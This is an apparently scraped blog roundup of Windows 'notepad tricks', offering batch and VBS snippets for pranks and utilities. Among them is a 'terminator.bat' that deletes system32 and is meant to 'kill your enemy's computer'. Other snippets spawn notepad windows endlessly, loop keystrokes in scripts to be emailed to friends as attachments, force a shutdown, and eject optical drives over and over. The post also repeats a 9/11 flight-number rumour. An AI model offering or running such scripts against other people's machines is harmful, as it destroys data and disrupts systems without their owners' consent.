Somebody stop ME…!

Somebody stop ME…!

continious opening of notepad

This is another cool notepad tricks to play with your friends, By using this simple code given below you can make the notepad open continuously with non stop..

Open notepad & type the following code given below :-

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

save the file as “non-stop.bat”

Just do it in your friends computer & make them frustrate

Note :– This may even lead to hanging of some computers..!!

Ghost rider

Type notepad continiously

Make your keyboard keys to type continuously (non-stop)

Just Type :

MsgBox “stop me..! if you can”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Save it as “ghostrider.VBS”

Toggle CapsLock continuously

Toogle capslock continiously

Just type the following code in notepad:-

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Save it as “blink.VBS” .

now watch that capslock led will blink continuously…

Hey try it in your friends computer & be a hacker.

9/11 attack in your PC

9/11 attack in PC

The flight that hit the world trade center is Q33n
Do you want make that 9/11 attack again, that too in your computer.follow these simple steps..

STEPS:-

1–> Open notepad and type Q33N

2–> Select text Q33N & increase the font size to 72 & change the font to windings

3–> Save the file as “911.txt”

and see wat happens….

Test your antivirus efficiency

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test antivirus effeciency

You can easily test your anti-virus program with a simple notepad trick, so that you can easily know the efficiency of your anti-virus program

Copy & paste the code below in notepad

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save file as “checkantivirus.com” including quotation-marks

After sometime scan this file with your anti-virus program, it will surely detect the file a virus, then make sure that your anti-virus is working properly

if not, this is a right time to change your anti-virus & try for some another..

Kill ur enemy’s computer

kill your enemy computer

what is killing of computer?

Its nothing but emptying the system32 folder of OS in your computer, so that your computer cannot boot b’coz system32 is essential folder which is needed for booting and all the core operation of OS.

write the following code in your notepad:-

- del c:\windows\system32\*.* /q

save the file as “terminator.bat” without quote

!!…red alert…!!

Don’t click this file in your computer b’coz the file u had created will empty all files in system32 folderwhich is essential for your computer to work

Terminate frozen programs in a second

Terminate frozen program

You may have a chance to face a problem that “program not responding” error, while loading lot of data in windows.

It will usually take 5-10 minutes to recover automatically or you will close it by pressing ctrl+alt+del

Here comes the easiest way to solve this problem in a seconds

Type the following code in notepad :-

@echo off
taskkill.exe /f /fi “status eq not responding”
exit

save it as “terminator.bat”

when u come across the same problem again, just HIT the file that you have created.

simple is in it..!

Frustrate your friend

You can frustrate your friend by showing repeated messages in the notepad,by following this simple notepad tricks

Just Type below code in notepad :-

@ECHO off
:Begin
msg * Hai
msg * How are you dear….
msg * I am fine ya!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

and Save it as “Anything.BAT”

now see the tricks that happens..!

President of United States

With these tricks, you will be able to find out the tricking ability of Microsoft Notepad. But before that, do you know:- 

1. The number of the flight that attacked World Trade Centre? 
2. How much control the President of United States has over Microsoft?
3. How worried Microsoft is about their reputation?

Well if you don't, you will know the answers to all these questions after trying these tricks. 

Trick/Answer 1

The number of flight that attacked the World Trade Centre was Q33N. You might ask what is the trick in that. We could have searched it on the net in an instant. But this is not the trick. The trick starts now:-

1. Open Notepad.
2. Type in Q33N.
3. Change the font size to 72 by clicking on Format and selecting Font in the Menu Bar.
4. Also select Wingdings as your Font.
5. Click on OK to see the trick.

 Note: Change back to your default font.

Trick/Answer 2 

Well the President of United States is undoubtedly one of the most powerful man. No one dares to test it. But now that Bush is no longer the President, .........we would. To test his authority over Microsoft, follow the steps given below:-

1. Open Notepad.
2. Type in "bush hid the facts" without quotes.
3. Save the notepad file as test.txt or *.txt.
4. Reopen the file to know the results.

Trick/Answer 3 

Well, most people think reputation is everything and the top brains at Microsoft are no different. To test their reputation building scheme, try the steps given below:-

1. Open Notepad.
2. Type in "this app can break" without quotes.
3. Save the notepad file as test.txt or *.txt.
4. Reopen the saved file to know the results.

Try these notepad tricks yourself to know the results.

On a serious note, none of the flight that attacked World Trade Center had the flight number Q33N. It is just a rumor which became popular due to its peculiar nature. Moreover, did you notice some similarity in trick 2 and 3? Yes, you figured it out correctly, both of the statements have the word length pattern of 4,3,3,5 which seems to cause the bug. It is not that Microsoft is that much 'worried' about their reputation or the U.S. President have absolute control over Microsoft.

Note: The last two tricks work on all versions of Windows but these tricks are computer specific and might or might not work on some systems running later versions of Windows after XP

shutdown computer using notepad

shutdown using notepad

Now u can shutdown your computer using notepad and say bye…. to tradition ways ( turn off) of closing your computer

Just Type:-

@echo off
msg * u r terminated
shutdown -c “stop me if you can” -s

Save it as “turnoffurpc.bat”.

Now see notepad will shutdown ur computer with lightning speed..!

Invisible folder

How to  make an invisible folder, so that no one can see your folder which is too personal… 4 u

1–> create a new folder

2–> select that folder & press F2 & press backspace until the name “new folder” vanish

3–> now by pressing ALT key, type 0160 simultaneously (at the same time) & hit enter.

4–> now you can see the folder name is vanished.

5–> to make folder icon invisible

6–> right click on that folder & goto –>properties –>customize –>change icon

make an invisible folder

Hurray..! now your folder is invisible.

Basic trick to become a hacker !!!

Now i will show how to create fake virus in your computer, this is a good computer & notepad tricksto play with your friends 

S, this is the initial step to become a  hacker…

1–> open “notepad”

Type the commands given in given below :-

@echo off
C:
cls
echo hello
pause
echo im a virus
pause
echo hurray !! im become a hacker
pause

save the file as “.bat” extension

for example if your file name is “virus” save it as “virus.bat”

Hurray !!! i had created a virus !!

Unlimited Download from Rapidshare, Megaupload, – Notepad tricks

Here is a simple notepad tricks to download unlimited from Rapidshare, Megaupload file sharing websites.

Copy the code given below in notepad :-

@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew

and save it as “deepakfuntimes.bat”

Now click on this file every time you download a file from Rapidshare and Megaupload

That’s it…

N’joy unlimited downloads from Rapidshare and Megaupload..

Make your Computer Welcome You

Do you watch movies? Have you always loved the way how Computers in movies welcome their users by calling out their names? I bet that you too would want to know how you can achieve similar results on your PC and have a computer said welcome.

Then you are at the right place, this article describes exactly how you can make your computer welcome you like this.

With this trick, you can make your Computer welcome you in its computerized voice. You can make your Windows based computer say "Welcome to your PC, Username."

Make Windows Greet you with a Custom Voice Message at Startup

To use this trick, follow the instructions given below:-

1. Click on Start. Navigate to All Programs, Accessories and Notepad.
2. Copy and paste the exact code given below.

Dim speaks, speech
speaks="Welcome to your PC, Username"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks

     3.  Replace Username with your own name.
     4.  Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Welcome.vbs or "*.vbs".
     5.  Copy the saved file.
     6.  Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) or to C:\Users\ User-Name\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (in Windows 7 and Windows Vista) if C: is your System drive.
     7.  Paste the file.

 

Now when the next time you start your computer, Windows will welcome you in its own computerized voice.

Note: For best results, it is recommended to change sound scheme to No Sounds.
You can change the sound scheme to No Sounds by following the steps given below:-

1. Go to Control Panel.
2. Then click on Switch to Classic View.
3. Then Click on Sounds and Audio Devices.
4. Then Click on the Sounds Tab.
5. Select No Sounds from the Sound Scheme option.
6. If you wish to save your Previous Sound Scheme, you can save it by clicking Yes in the popup menu.
7. Click on OK.

Try it yourself to see how it works. In my personal opinion, this is an excellent trick. Whenever I start my PC in front of anybody and the PC welcomes me, the fellow is left wondering how brilliant a computer do I have.

Make your Computer Talk

Have you ever wondered how can you make your computer speak whatever you input to it like in the movies? Would it not be fun? If only it was possible! Rejoice, because now it is possible. Well, if you wish to know how to do this, then you have come to the right place. With this trick, you can create a script in Windows which will make your computer speak whatever you input to it.

To create one such talk script, follow the steps given below:-

Steps

1. Open Notepad.
2. Copy and paste the exact code given below.

          Dim Message, Speak
          Message=InputBox("Enter text","Speak")
          Set Speak=CreateObject("sapi.spvoice")
          Speak.Speak Message

    3. Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Speak.vbs or "*.vbs".

    4.  Double click on the saved file, a window will open like the one in the image. Enter some text in enter text column and click OK.

Now your Computer will speak / talk what you typed in Step 4. Try it yourself.

Windows Compatibility: This VBS file can be executed on all versions of Windows includingWindows XP, Windows Vista and Windows 7.

Personal Experience: I personally showed this trick to many of my friends and they were literally left awestruck. You too can impress your friends by making your PC talk and be the Computer Wiz.

Make a Personal Diary(Log) with Notepad (Easter Eggs)

Make a Personal Diary(Log) with Notepad (Easter Eggs)

Notepad Diary

You can use this trick to create a personal log with Notepad which will automatically include the current date and time before your note. To do so, open Notepad and type .LOG in capital letters and press Enter. Save the file. Now, every time you open this file, notepad will automatically insert the current time and date before the note. Just enter your note and save the file each time after making an entry.

All these Notepad tricks are totally harmless and would not harm your PC in any way.  To close any of the VBS trick given, open task manager and close the wscript.exe process. These tricks work onWindows 7, Windows Vista and Windows XP.

Create a Harmless Funny Virus with Notepad-Continuously eject CD/DVD drives

Create a Harmless Funny Virus with Notepad-Continuously eject CD/DVD drives

This VBS trick will create a code which will continuously eject all your connected Optical drives. If you put them back in, it will pop them out again. Copy this code and paste it in Notepad as Virus.vbs or *.vbs.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Double click to open this file and you will be impressed by this awesome trick.

Make Your Keyboard Type (Any) Message Continuously-VBS Trick

Make Your Keyboard Type (Any) Message Continuously-VBS Trick

This VBS trick can make any of your friend's keyboard type any message continuously. Open Notepad, copy the code given below and save the file as Tricks.vbs or *.vbs.

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
loop

You might need to restart your computer to stop this. Send this file to your friends as an email attachment to see the fun.

Notepad Tricks: Cool Notepad tricks for Windows

Notepad, the text editor that comes bundled in Windows is an excellent tool for text editing. But that is not the only thing for which notepad is famous. It is also famous for its tricks and hacks. Here is a roundup of some of the best and coolest tricks that you can try using Notepad.

Matrix Falling Code Effect - Notepad CMD (.BAT) Tricks

Inspired by the movie Matrix, this falling code trick is extremely popular on social networking websites. Copy and paste the code given below in Notepad and save the file as "Matrix.bat" or *.bat.

@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks

Matrix Falling Code Effect - Notepad Trick

Upon running the bat file, you will see the "Matrix falling code" effect.